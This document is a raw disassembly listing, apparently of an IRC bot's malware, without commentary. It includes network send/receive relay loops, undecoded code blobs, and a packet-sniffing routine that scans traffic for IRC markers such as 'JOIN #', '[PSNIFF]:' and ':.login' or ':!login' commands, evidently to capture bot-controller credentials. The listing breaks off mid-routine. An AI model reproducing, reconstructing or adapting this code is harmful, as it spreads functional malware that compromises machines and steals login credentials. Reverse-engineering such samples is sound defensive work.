		mov	[ebp+var_8], 20h
		mov	[ebp+var_7], 58h
		mov	[ebp+var_6], 58h
		mov	[ebp+var_5], 58h
		mov	[ebp+var_4], 0Dh
		mov	[ebp+var_3], 0Ah
		push	6
		jmp	short loc_411B69
; ---------------------------------------------------------------------------


loc_411B33:				; CODE XREF: sub_411AAB+68j
		mov	[ebp+esi+var_DC], al
		inc	esi
		push	1
		cmp	al, 0Dh
		mov	[ebp+var_8], al
		pop	ecx
		jnz	short loc_411B6A
		mov	[ebp+esi+var_DC], 0Ah
		mov	[ebp+var_7], 0Ah
		inc	esi
		push	2
		jmp	short loc_411B69
; ---------------------------------------------------------------------------


loc_411B56:				; CODE XREF: sub_411AAB+52j
					; sub_411AAB+56j
		cmp	esi, ebx
		jbe	short loc_411B80
		dec	esi
		mov	[ebp+var_8], 8
		mov	[ebp+var_7], 20h
		mov	[ebp+var_6], 8
		push	3


loc_411B69:				; CODE XREF: sub_411AAB+86j
					; sub_411AAB+A9j
		pop	ecx


loc_411B6A:				; CODE XREF: sub_411AAB+98j
		push	ebx
		lea	eax, [ebp+var_8]
		push	ecx
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CBA24
		test	eax, eax
		jle	short loc_411BC9


loc_411B7D:				; CODE XREF: sub_411AAB+64j
		mov	al, byte ptr [ebp+arg_0+3]


loc_411B80:				; CODE XREF: sub_411AAB+ADj
		cmp	al, 0Dh
		jnz	loc_411AC4
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	dword ptr [edi+4]
		call	near ptr 2730000h
		nop
		test	eax, eax
		jz	short loc_411BC9
		xor	esi, esi
		jmp	loc_411AC4
; ---------------------------------------------------------------------------


loc_411BA9:				; CODE XREF: sub_411AAB+47j
		cmp	[ebp+var_C], ebx
		jnz	short loc_411BBA
		mov	[ebp+var_C], 1
		jmp	loc_411AC4
; ---------------------------------------------------------------------------


loc_411BBA:				; CODE XREF: sub_411AAB+101j
		mov	[ebp+var_10], 0Ah
		mov	[ebp+var_C], ebx
		jmp	loc_411AC4
; ---------------------------------------------------------------------------


loc_411BC9:				; CODE XREF: sub_411AAB+2Bj
					; sub_411AAB+D0j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411AAB	endp

; ---------------------------------------------------------------------------
word_411BCE	dw 8B55h		; DATA XREF: sub_401ACD+2BC4o
		dd 0D4EC81ECh, 8B000002h, 56530845h, 8B106A57h,	0BD8D5BF0h
		dd 0FFFFFF2Ch, 5D892C6Ah, 0A5F359FCh, 0F633016Ah, 0A8B8895Fh
		dd 53000000h, 56EC458Dh, 0A36AE850h, 0C4830000h, 45C7660Ch
		dd 0FF0002ECh, 15FFC075h, 4CB9D4h, 6A57066Ah, 45896602h
		dd 0F07589EEh, 0BA5415FFh, 0F88B004Ch, 69C4458Bh, 234C0h
		dd 0B8895300h, 43E91Ch,	50EC458Dh, 15FF57h, 85004CBAh
		dd 21850FC0h, 6A000001h, 15FF570Ah, 4CB9FCh, 850FC085h
		dd 110h, 0FFC075FFh, 0FFFF2CB5h, 8D98E8FFh, 5059FFFFh
		dd 0FD2C858Dh, 9468FFFFh, 500042BCh, 0A5E5E8h, 10C48300h
		dd 75D07539h, 858D5620h, 0FFFFFD2Ch, 50CC75FFh,	0FF30858Dh
		dd 0FF50FFFFh, 0FFFF2CB5h, 7BC3E8FFh, 0C483FFFFh, 2C858D14h
		dd 50FFFFFDh, 4083E8h, 458D5900h, 458D50FCh, 0FF5750DCh
		dd 4CBA6815h, 0C475FF00h, 0B70FD88Bh, 8950DE45h, 75FFD875h
		dd 6015FFE0h, 50004CBAh, 0FD2C858Dh, 3068FFFFh,	50004357h
		dd 0A579E8h, 858D5300h,	0FFFFFD2Ch, 0E850196Ah,	0FFFF96BEh
		dd 69C84589h, 234C0h, 0C44D8B00h, 8920C483h, 43E91488h
		dd 8458D00h, 2C858D50h,	56FFFFFFh, 1DD36850h, 56560041h
		dd 0E764E890h, 4D8B0228h, 34C969C8h, 3B000002h,	248189C6h
		dd 740043E9h, 0D8753913h, 0FF63850Fh, 56AFFFFh,	28E6DBE8h
		dd 0EDEB9002h, 28F143E8h, 8D509002h, 0FFFD2C85h, 56F468FFh
		dd 0E8500043h, 0A4FEh, 0E90CC483h, 0FFFFFF39h, 6C15FF57h
		dd 0FF004CBAh, 858DC075h, 0FFFFFD2Ch, 4356C068h, 0DBE85000h
		dd 830000A4h, 75390CC4h, 562075D0h, 0FD2C858Dh,	75FFFFFFh
		dd 858D50CCh, 0FFFFFF30h, 2CB5FF50h, 0E8FFFFFFh, 0FFFF7AB9h
		dd 8D14C483h, 0FFFD2C85h, 79E850FFh, 0FF00003Fh, 0FE8C475h
		dd 59FFFF99h, 0E8905659h, 22EE230h, 555B5E5Fh, 0EC81EC8Bh
		dd 5D4h, 5308458Bh, 2C6A5756h, 8D59F08Bh, 0FFFF38BDh, 8BA5F3FFh
		dd 16AD475h, 69087589h,	234F6h,	0B68D5F00h, 43E91Ch, 0ACB889h
		dd 0DB330000h, 45C7068Bh, 5F8h,	30858900h, 8DFFFFFAh, 5350F845h
		dd 0FA2C858Dh, 5053FFFFh, 0FC5D8953h, 0FA2CBD89h, 15FFFFFFh
		dd 4CB9BCh, 1875C085h, 15FF36FFh, 4CBA6Ch, 0E80875FFh
		dd 0FFFF988Ah, 0E8905359h, 22EE1ACh, 30858D53h,	68FFFFFBh
		dd 408h, 0FF36FF50h, 4CB9EC15h,	7FC08500h, 0FF36FF18h
		dd 4CBA6C15h, 875FF00h,	0FF9859E8h, 905359FFh, 2EE17BE8h
		dd 30BD8002h, 4FFFFFBh,	1ED850Fh, 0BD800000h, 0FFFFFB31h
		dd 0E0850F01h, 38000001h, 7774BC5Dh, 50BC458Dh,	0FB38858Dh
		dd 0E850FFFFh, 0AB9Ch, 59C08559h, 458D6174h, 858D50BCh
		dd 0FFFFFB38h, 57F86850h, 0DDE80043h, 6800003Eh, 400h
		dd 0FB38858Dh, 5053FFFFh, 0FB309D88h, 85C6FFFFh, 0FFFFFB31h
		dd 0A082E85Dh, 0C4830000h, 30858D18h, 53FFFFFBh, 0FF50086Ah
		dd 2415FF36h, 0FF004CBAh, 6C15FF36h, 0FF004CBAh, 0C3E80875h
		dd 59FFFF97h, 0E5E89053h, 6A022EE0h, 0E8458D10h, 49E85053h
		dd 660000A0h, 0FB32858Bh, 0C483FFFFh, 4589660Ch, 34858BEAh
		dd 6AFFFFFBh, 26A5706h,	0E845C766h, 45890002h, 5415FFECh
		dd 8B004CBAh, 0FFFF83F8h, 15FF5D75h, 4CB968h, 57B86850h
		dd 45E80043h, 6800003Eh, 400h, 0FB38858Dh, 5053FFFFh, 0FB309D88h
		dd 85C6FFFFh, 0FFFFFB31h, 9FEAE85Bh, 0C4830000h, 30858D14h
		dd 53FFFFFBh, 0FF50086Ah, 2415FF36h, 0FF004CBAh, 6C15FF36h
		dd 0FF004CBAh, 2BE80875h, 59FFFF97h, 0E04EE853h, 8D90022Eh
		dd 106AE845h, 15FF5750h, 4CB97Ch, 75FFF883h, 6815FF5Dh
		dd 50004CB9h, 43577468h, 3DD6E800h, 680000h, 8D000004h
		dd 0FFFB3885h, 885053FFh, 0FFFB309Dh, 3185C6FFh, 5BFFFFFBh
		dd 9F7BE8h, 14C48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h
		dd 0BA2415FFh, 36FF004Ch, 0BA6C15FFh, 75FF004Ch, 96BCE808h
		dd 5359FFFFh, 0DFDEE890h, 68022Eh, 8D000004h, 0FFFB3885h
		dd 885053FFh, 0FFFB309Dh, 3185C6FFh, 5AFFFFFBh,	9F2FE8h
		dd 0CC48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h,	0BA2415FFh
		dd 36FF004Ch, 39E857h, 59590000h, 6C15FF57h, 0FF004CBAh
		dd 6C15FF36h, 0FF004CBAh, 5FE80875h, 59FFFF96h,	81E89053h
		dd 0FF022EDFh, 6C15FF36h, 0FF004CBAh, 47E80875h, 59FFFF96h
		dd 0DF6AE853h
		db 2Eh,	2, 90h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+0Ch]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h


loc_4120AD:				; CODE XREF: ___:0041215Cj
					; ___:0041218Cj
		mov	[ebp-100h], ebx
		mov	dword ptr [ebp-104h], 1
		xor	ecx, ecx
		lea	eax, [ebp-100h]


loc_4120C5:				; CODE XREF: ___:004120D3j
		mov	edx, [ebp+8]
		cmp	[eax], edx
		jz	short loc_4120D5
		inc	ecx
		add	eax, 4
		cmp	ecx, 1
		jb	short loc_4120C5


loc_4120D5:				; CODE XREF: ___:004120CAj
		cmp	ecx, 1
		jnz	short loc_4120EA
		mov	[ebp-0FCh], edx
		mov	dword ptr [ebp-104h], 2


loc_4120EA:				; CODE XREF: ___:004120D8j
		push	esi
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp-104h]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	dword_4CB9BC
		lea	eax, [ebp-104h]
		push	eax
		push	ebx
		call	dword_4CB8C0
		test	eax, eax
		jz	short loc_41214A
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	ebx
		call	dword_4CB9EC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412192
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412192


loc_41214A:				; CODE XREF: ___:0041211Cj
		lea	eax, [ebp-104h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB8C0
		test	eax, eax
		jz	loc_4120AD
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB9EC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412192
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	ebx
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jnz	loc_4120AD


loc_412192:				; CODE XREF: ___:00412131j
					; ___:00412148j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
byte_412197	db 55h			; DATA XREF: sub_401ACD+20B3o
					; sub_40BD91+106o
		dd 0EC81EC8Bh, 87Ch, 5308558Bh,	16A5756h, 0B958DB33h, 0A9h
		dd 0BD8DF28Bh, 0FFFFFC8Ch, 0F3026A53h, 9C85FFA5h, 6AFFFFFEh
		dd 0F0458902h, 89EC4589h, 8289F845h, 2A0h, 0BA5415FFh
		dd 0F08B004Ch, 75FFFE83h, 1906856h, 0E8900000h,	228E23Ch
		dd 0FF289D39h, 2375FFFFh, 88858D53h, 0FFFFFFF8h, 0FFFF24B5h
		dd 858D50FFh, 0FFFFFEA4h, 8CB5FF50h, 0E8FFFFFCh, 0FFFF7655h
		dd 8D14C483h, 0FFF88885h, 15E850FFh, 0FF00003Bh, 0FFFE98B5h
		dd 94A8E8FFh, 5959FFFFh, 0C9E89053h, 8D022EDDh,	46AF045h
		dd 0FFFFBF50h, 46A0000h, 15FF5657h, 4CB9B4h, 6AEC458Dh
		dd 0FB6A5004h, 15FF5657h, 4CB9B4h, 0FE98858Bh, 106AFFFFh
		dd 234C069h, 89530000h,	43E91CB0h, 0D4458D00h, 9CF6E850h
		dd 0C4830000h, 45C7660Ch, 0FF0002D4h, 0FFFEA0B5h, 0D415FFFFh
		dd 66004CB9h, 8DD64589h, 106AD445h, 5D895650h, 15FFD8h
		dd 83004CBAh, 1975FFF8h, 138868h, 75E89000h, 0FF0228E1h
		dd 0FFFE9C8Dh, 875FFFFh, 32FE9h, 90858D00h, 68FFFFFCh
		dd 429068h, 9BD0E850h, 3B590000h, 458959C3h, 684C75FCh
		dd 190h, 28E143E8h, 8D539002h, 0FFF88885h, 24B5FFFFh, 50FFFFFFh
		dd 0FEA4858Dh, 0FF50FFFFh, 0FFFC8CB5h, 7563E8FFh, 858DFFFFh
		dd 0FFFFF888h, 3A26E850h, 0B5FF0000h, 0FFFFFE98h, 0FF93B9E8h
		dd 1CC483FFh, 0D9E89053h, 8B022EDCh, 9F39087Dh,	2A0h, 27D840Fh
		dd 80BF0000h, 8D000000h, 0FFFF3085h, 505357FFh,	5E445C7h
		dd 0C7000000h, 1388E845h, 0B5890000h, 0FFFFF788h, 0F78485C7h
		dd 1FFFFh, 9E80000h, 8300009Ch,	458D0CC4h, 8D5350E4h, 0FFF78485h
		dd 535053FFh, 0B9BC15FFh, 0C085004Ch, 2218E0Fh,	88A00000h
		dd 8B0043DBh, 888588CFh, 33FFFFFAh, 89BD8DC0h, 0C7FFFFFAh
		dd 10F445h, 0ABF30000h,	8DAAAB66h, 8D50F445h, 5350C445h
		dd 0FF30858Dh, 8068FFFFh, 50000000h, 0AC15FF56h, 0FF004CB9h
		dd 4589C875h, 6015FFF8h, 50004CBAh, 50B0458Dh, 9E8DE8h
		dd 309D3800h, 59FFFFFFh, 0AA850F59h, 80000001h,	0FFFF31BDh
		dd 850F01FFh, 0A3h, 0FD94858Dh,	0E850FFFFh, 95C0h, 75FF5353h
		dd 0B681E8FCh, 75FF0000h, 8C858DFCh, 88FFFFFAh,	0FFFA889Dh
		dd 8985C6FFh, 3FFFFFAh,	20068h,	50016A00h, 0FA8A9D88h
		dd 85C6FFFFh, 0FFFFFA8Bh, 96C0E801h, 0C4830000h, 0C44D8D20h
		dd 83F84589h, 75FF04C0h, 505351F4h, 0FA88858Dh,	5650FFFFh
		dd 0BA3815FFh, 9D39004Ch, 0FFFFFF28h, 8D532375h, 0FFF88885h
		dd 24B5FFFFh, 50FFFFFFh, 0FEA4858Dh, 0FF50FFFFh, 0FFFC8CB5h
		dd 73E7E8FFh, 0C483FFFFh, 88858D14h, 50FFFFF8h,	38A7E8h
		dd 10E95900h, 80000001h, 0FFFF31BDh, 850F04FFh,	0EDh, 0FF338D8Ah
		dd 858AFFFFh, 0FFFFFF32h, 88FFF980h, 0FFFA889Dh, 8985C6FFh
		dd 3FFFFFAh, 0C0FE1275h, 8588C932h, 0FFFFFA8Ah,	0FA8B9D88h
		dd 0EEBFFFFh, 8588C1FEh, 0FFFFFA8Ah, 0FA8B8D88h, 0B60FFFFFh
		dd 0C9B60FC0h, 308E0C1h, 200BFC1h, 0E0C10000h, 53C72B09h
		dd 0FC75FF50h, 0B58AE8h, 0FC75FF00h, 0FA8C858Dh, 6A57FFFFh
		dd 0E7E85001h, 83000095h, 0F88B1CC4h, 89C4458Dh, 75FFF87Dh
		dd 478D50F4h, 8D505304h, 0FFFA8885h, 0FF5650FFh, 4CBA3815h
		dd 75FB3B00h, 0B0458D6Eh, 88858D50h, 68FFFFF8h,	434798h
		dd 9D18E850h, 0C4830000h, 289D390Ch, 75FFFFFFh,	858D5323h
		dd 0FFFFF888h, 0FF24B5FFh, 8D50FFFFh, 0FFFEA485h, 0B5FF50FFh
		dd 0FFFFFC8Ch, 0FF72F0E8h, 14C483FFh, 0F888858Dh, 0E850FFFFh
		dd 37B0h, 0E4DC05FFh, 0EB59004Ch, 0F475FF16h, 50C4458Dh
		dd 68096A53h, 435838h, 3815FF56h, 39004CBAh, 8F0FF85Dh
		dd 0FFFFFD77h, 56087D8Bh, 0BA6C15FFh, 75FF004Ch, 9479E8FCh
		dd 8DFF0000h, 0FFFFFE9Ch, 2A09F39h, 75590000h, 98B5FF13h
		dd 0E8FFFFFEh, 0FFFF90FAh, 0E8905359h, 22EDA1Ch, 3E868h
		dd 39E89000h, 570228DEh, 0FFFBA2E8h, 5B5E5FFFh,	4C2C9h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		cmp	dword ptr [ebp+98h], 0
		jz	short loc_41266C
		push	esi
		mov	esi, offset dword_435848


loc_412614:				; CODE XREF: ___:00412667j
		push	esi
		push	dword ptr [ebp+0Ch]
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41265B
		push	esi
		lea	eax, [ebp-200h]
		push	dword ptr [ebp+8]
		push	offset dword_436BB4
		push	200h
		push	eax
		call	sub_41C360
		push	0
		lea	eax, [ebp-200h]
		push	dword ptr [ebp+9Ch]
		push	eax
		lea	eax, [ebp+18h]
		push	eax
		push	dword ptr [ebp+10h]
		call	sub_409869
		add	esp, 28h


loc_41265B:				; CODE XREF: ___:00412621j
		add	esi, 80h
		cmp	esi, offset dword_436448
		jb	short loc_412614
		pop	esi
		jmp	short loc_4126A3
; ---------------------------------------------------------------------------


loc_41266C:				; CODE XREF: ___:0041260Cj
		push	dword ptr [ebp+8]
		lea	eax, [ebp-200h]
		push	offset aS_1	; "%s"
		push	200h
		push	eax
		call	sub_41C360
		push	0
		lea	eax, [ebp-200h]
		push	dword ptr [ebp+9Ch]
		push	eax
		lea	eax, [ebp+18h]
		push	eax
		push	dword ptr [ebp+10h]
		call	sub_409869
		add	esp, 24h


loc_4126A3:				; CODE XREF: ___:0041266Aj
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------
byte_4126A7	db 55h			; DATA XREF: sub_401ACD+7374o
		dd 0EC81EC8Bh, 920h, 5308458Bh,	0A5835756h, 0FFFFF6E0h
		dd 83266A00h, 59000865h, 0BD8DF08Bh, 0FFFFFF20h, 80C7A5F3h
		dd 94h,	1, 0FFB9h, 8DC03300h, 0FFF6E4BDh, 0FFABF3FFh, 4CB95815h
		dd 0B84D8D00h, 50513C6Ah, 0FFF84589h, 4CB97015h, 200BB00h
		dd 86A0000h, 0DD1EE890h, 15FF0228h, 4CB958h, 0FF8453Bh
		dd 16184h, 0B84D8D00h, 50513C6Ah, 0FFF84589h, 4CB97015h
		dd 0A87D8300h, 0CC840F00h, 8D000000h, 0FFFD2085h, 81E850FFh
		dd 85000092h, 747659C0h, 50B8458Dh, 9273E8h, 1F88300h
		dd 8D657359h, 0FFFD2085h, 858D50FFh, 0FFFFFB20h, 436C3C68h
		dd 0FBE85000h, 8100009Ah, 8CECh, 0B8458D00h, 0FF20B58Dh
		dd 266AFFFFh, 50FC8B59h, 0FB20858Dh, 0A5F3FFFFh, 0FE6EE850h
		dd 4589FFFFh, 858D5308h, 0FFFFFD20h, 0E850006Ah, 97D0h
		dd 0ACC481h, 858D0000h,	0FFFFFB20h, 50006A53h, 97BBE8h
		dd 0CC48300h, 0FD20858Dh, 0E850FFFFh, 91FCh, 0F59C085h
		dd 0AD86h, 0B8458D00h, 91EAE850h, 0C0850000h, 9B860F59h
		dd 8D000000h, 0FFFD2085h, 858D50FFh, 0FFFFFB20h, 436C3C68h
		dd 6FE85000h, 8100009Ah, 8CECh,	8D34EB00h, 0E850B845h
		dd 91B8h, 0F59C085h, 11486h, 0B8458D00h, 20858D50h, 50FFFFFDh
		dd 0FB20858Dh, 1C68FFFFh, 5000436Ch, 9A39E8h, 88EC8100h
		dd 6A000000h, 0B8458D26h, 20B58D59h, 8BFFFFFFh,	858D50FCh
		dd 0FFFFFB20h, 0E850A5F3h, 0FFFFFDACh, 53084589h, 0FD20858Dh
		dd 6AFFFFh, 970EE850h, 0C4810000h, 0ACh, 0FB20858Dh, 6A53FFFFh
		dd 0F9E85000h, 83000096h, 7D830CC4h, 840F00A8h,	0A1h, 15FF016Ah
		dd 4CB9A0h, 80013D66h, 8F850Fh,	858D0000h, 0FFFFFD20h
		dd 911EE850h, 0C0850000h, 0FF7E7659h, 4CB95815h, 0E08D8D00h
		dd 6AFFFFFAh, 0FF50513Ch, 4CB97015h, 20858D00h,	50FFFFFDh
		dd 0FB20858Dh, 3C68FFFFh, 5000436Ch, 9991E8h, 8CEC8100h
		dd 8D000000h, 0FFFAE085h, 20B58DFFh, 6AFFFFFFh,	0FC8B5926h
		dd 20858D50h, 0F3FFFFFBh, 1E850A5h, 89FFFFFDh, 8D530845h
		dd 0FFFD2085h, 50006AFFh, 9663E8h, 0ACC48100h, 8D000000h
		dd 0FFFB2085h, 6A53FFh,	964EE850h, 0C4830000h, 0FC45C70Ch
		dd 43644Ch, 15FF106Ah, 4CB8A8h,	8BF0BF0Fh, 788BFC45h, 15FF57FCh
		dd 4CB9A0h, 7480C4F6h, 0FF146A7Bh, 4CB8A815h, 0C0856600h
		dd 0FE831F74h, 831A7EFFh, 157E40FFh, 7D5BFF83h,	0BD84C710h
		dd 0FFFFF6E0h, 1, 1BDE9h, 0FF146A00h, 4CB8A815h, 0C0856600h
		dd 0F6851E74h, 0FF832E7Dh, 83157E40h, 107D5BFFh, 0E0BD84C7h
		dd 2FFFFF6h, 0E9000000h, 192h, 107DF685h, 0E0BD84C7h, 3FFFFF6h
		dd 0E9000000h, 17Eh, 0E0BD84C7h, 4FFFFF6h, 0E9000000h
		dd 16Eh, 0E0BDB48Bh, 8DFFFFF6h,	0F6E0BD84h, 0F685FFFFh
		dd 158840Fh, 20830000h,	20858D00h, 83FFFFFDh, 755008FFh
		dd 8FD2E813h, 0A4800000h, 0FFFD1F05h, 0E95900FFh, 136h
		dd 8FBFE8h, 1B93D00h, 76590000h, 5815FF39h, 8D004CB9h
		dd 3C6AB84Dh, 15FF5051h, 4CB970h, 0A87D83h, 858D0E74h
		dd 0FFFFFD20h, 6C046850h, 55EB0043h, 50B8458Dh,	0FD20858Dh
		dd 6850FFFFh, 436BE8h, 0FF8364EBh, 0B9850F0Dh, 8D000000h
		dd 0FFFD2085h, 69E850FFh, 8500008Fh, 840F59C0h,	0D2h, 0B95815FFh
		dd 4D8D004Ch, 513C6AB8h, 7015FF50h, 83004CB9h, 7400A87Dh
		dd 20858D1Dh, 50FFFFFDh, 436BD468h, 20858D00h, 50FFFFFBh
		dd 97D5E8h, 0CC48300h, 458D1FEBh, 858D50B8h, 0FFFFFD20h
		dd 6BBC6850h, 858D0043h, 0FFFFFB20h, 97B4E850h,	0C4830000h
		dd 98EC8110h, 8D000000h, 0B58DB845h, 0FFFFFF20h, 8B59266Ah
		dd 858D50FCh, 0FFFFFB20h, 0E850A5F3h, 0FFFFFB24h, 53084589h
		dd 0FD20858Dh, 6AFFFFh,	9486E850h, 0C4810000h, 0ACh, 0FB20858Dh
		dd 6A53FFFFh, 71E85000h, 83000094h, 2EEB0CC4h, 7401FE83h
		dd 3FE8314h, 0FE830F74h, 83057402h, 1A7504FEh, 0EBFC75FFh
		dd 0FC458B07h, 5007C083h, 0FD20858Dh, 0E850FFFFh, 9D70h
		dd 45835959h, 7D8114FCh, 436B7CFCh, 0E98C0F00h,	83FFFFFDh
		dd 0F00087Dh, 0FFFBB584h, 24B5FFFFh, 0E8FFFFFFh, 0FFFF8B7Eh
		dd 90006A59h, 2ED49FE8h
		db 2
byte_412B61	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+4150o
		dd 102B4B8h, 9992E800h,	558B0000h, 6A575608h, 0F28B5801h
		dd 0BD8D256Ah, 0FFFFFF4Ch, 0F8458959h, 8289A5F3h, 90h
		dd 106AF633h, 56E4458Dh, 93D6E850h, 0C4830000h,	45C7660Ch
		dd 560002E4h, 0B9D415FFh, 0B5FF004Ch, 0FFFFFF4Ch, 0E6458966h
		dd 0FF7E4DE8h, 0FF5059FFh, 4CBA1415h, 36A5600h,	4589026Ah
		dd 5415FFE8h, 8B004CBAh, 0FFFF83F8h, 75FC7D89h,	6815FF5Dh
		dd 50004CB9h, 0FD4C858Dh, 9C68FFFFh, 50004375h,	9675E8h
		dd 0CC48300h, 75D87539h, 858D5620h, 0FFFFFD4Ch,	50D475FFh
		dd 0FF50858Dh, 0FF50FFFFh, 0FFFF4CB5h, 6C53E8FFh, 0C483FFFFh
		dd 4C858D14h, 50FFFFFDh, 3113E8h, 0D075FF00h, 0FF8AA9E8h
		dd 565959FFh, 2ED3CBE8h, 458B9002h, 69106AD0h, 234C0h
		dd 1CB88900h, 8D0043E9h, 5750E445h, 0BA0015FFh,	0F883004Ch
		dd 0FF6475FFh, 4CB96815h, 858D5000h, 0FFFFFD4Ch, 43757068h
		dd 0F7E85000h, 83000095h, 75390CC4h, 562075D8h,	0FD4C858Dh
		dd 75FFFFFFh, 858D50D4h, 0FFFFFF50h, 4CB5FF50h,	0E8FFFFFFh
		dd 0FFFF6BD5h, 8D14C483h, 0FFFD4C85h, 95E850FFh, 59000030h
		dd 6C15FF57h, 0FF004CBAh, 23E8D075h, 59FFFF8Ah,	0D346E856h
		dd 5690022Eh, 56E0458Dh, 8D565650h, 46AF845h, 16850h, 0FF579800h
		dd 4CB98015h, 0FFF88300h, 15FF6475h, 4CB968h, 4C858D50h
		dd 68FFFFFDh, 437540h, 9574E850h, 0C4830000h, 0D875390Ch
		dd 8D562075h, 0FFFD4C85h, 0D475FFFFh, 50858D50h, 50FFFFFFh
		dd 0FF4CB5FFh, 52E8FFFFh, 83FFFF6Bh, 858D14C4h,	0FFFFFD4Ch
		dd 3012E850h, 57590000h, 0BA6C15FFh, 75FF004Ch,	89A0E8D0h
		dd 5659FFFFh, 0D2C2E890h, 0BB53022Eh, 436C58h, 0FFFFBFh
		dd 4C858D00h, 57FFFEFDh, 19E85056h, 83000092h, 858D0CC4h
		dd 0FFFEFD4Ch, 0FF505756h, 15FFFC75h, 4CB9ECh, 0FFFF883h
		dd 0FC84h, 55BD8000h, 6FFFEFDh,	858BC675h, 0FFFEFD58h
		dd 0FD6DBD80h, 8918FFFEh, 0B475F445h, 0FD74858Dh, 3468FFFEh
		dd 50004375h, 953FE8h, 0C0855900h, 8D9D7559h, 0FEFD7485h
		dd 752468FFh, 0E8500043h, 9528h, 59C08559h, 0C38B8675h
		dd 0C085FF33h, 0FF7A840Fh, 5D89FFFFh, 858D5008h, 0FFFEFD74h
		dd 9506E850h, 85590000h, 0F7559C0h, 8458347h, 8458B18h
		dd 55E9E375h, 8DFFFFFFh, 0FEFD7485h, 0B5FF50FFh, 0FFFEFD60h
		dd 0B90415FFh, 0B70F004Ch, 75FF50C0h, 6015FFF4h, 50004CBAh
		dd 8B7F048Dh, 6C6CC504h, 34FF0043h, 436C4885h, 4C858D00h
		dd 68FFFFFDh, 4374F0h, 20068h, 29E85000h, 83000095h, 75391CC4h
		dd 562075D8h, 0FD4C858Dh, 75FFFFFFh, 858D50D4h,	0FFFFFF50h
		dd 4CB5FF50h, 0E8FFFFFFh, 0FFFF6A0Dh, 8D14C483h, 0FFFD4C85h
		dd 0CDE850FFh, 5900002Eh, 0FFFED3E9h, 6815FFFFh, 50004CB9h
		dd 4374C468h, 4C858D00h, 68FFFFFDh, 200h, 94D2E850h, 0C4830000h
		dd 0D8753910h, 5620755Bh, 0FD4C858Dh, 75FFFFFFh, 858D50D4h
		dd 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh, 0FFFF69B5h, 8D14C483h
		dd 0FFFD4C85h, 75E850FFh, 5900002Eh, 0FFFC75FFh, 4CBA6C15h
		dd 0D075FF00h, 0FF8801E8h, 905659FFh, 2ED123E8h
		db 2

; =============== S U B	R O U T	I N E =======================================



sub_412EDD	proc near		; CODE XREF: sub_4131EC+213p
					; sub_4131EC+239p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_4CE734, eax
		mov	eax, offset dword_4CE734
		retn
sub_412EDD	endp


; =============== S U B	R O U T	I N E =======================================



sub_412EEC	proc near		; CODE XREF: sub_4131EC+2BFp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aBotSniff ; "Bot	sniff"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412F06


loc_412F02:				; CODE XREF: sub_412EEC+29j
					; sub_412EEC+3Aj ...
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412F06:				; CODE XREF: sub_412EEC+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F02
		push	offset aPsniff_1 ; "[PSNIFF]:"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F02
		push	offset aPsniff_0 ; "PSNIFF//"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F02
		push	offset aJoin_0	; "JOIN	#"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412F4E


loc_412F4A:				; CODE XREF: sub_412EEC+71j
					; sub_412EEC+82j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412F4E:				; CODE XREF: sub_412EEC+5Cj
					; DATA XREF: ___:off_43ACE0o
		push	offset a302_0	; "302 "
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset a366	; "366 "
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset a_login_0 ; ":.login"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset aLogin_1	; ":!login"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset aLogin_0	; ":!Login"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset a_login	; ":.Login"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset a_ident	; ":.ident"
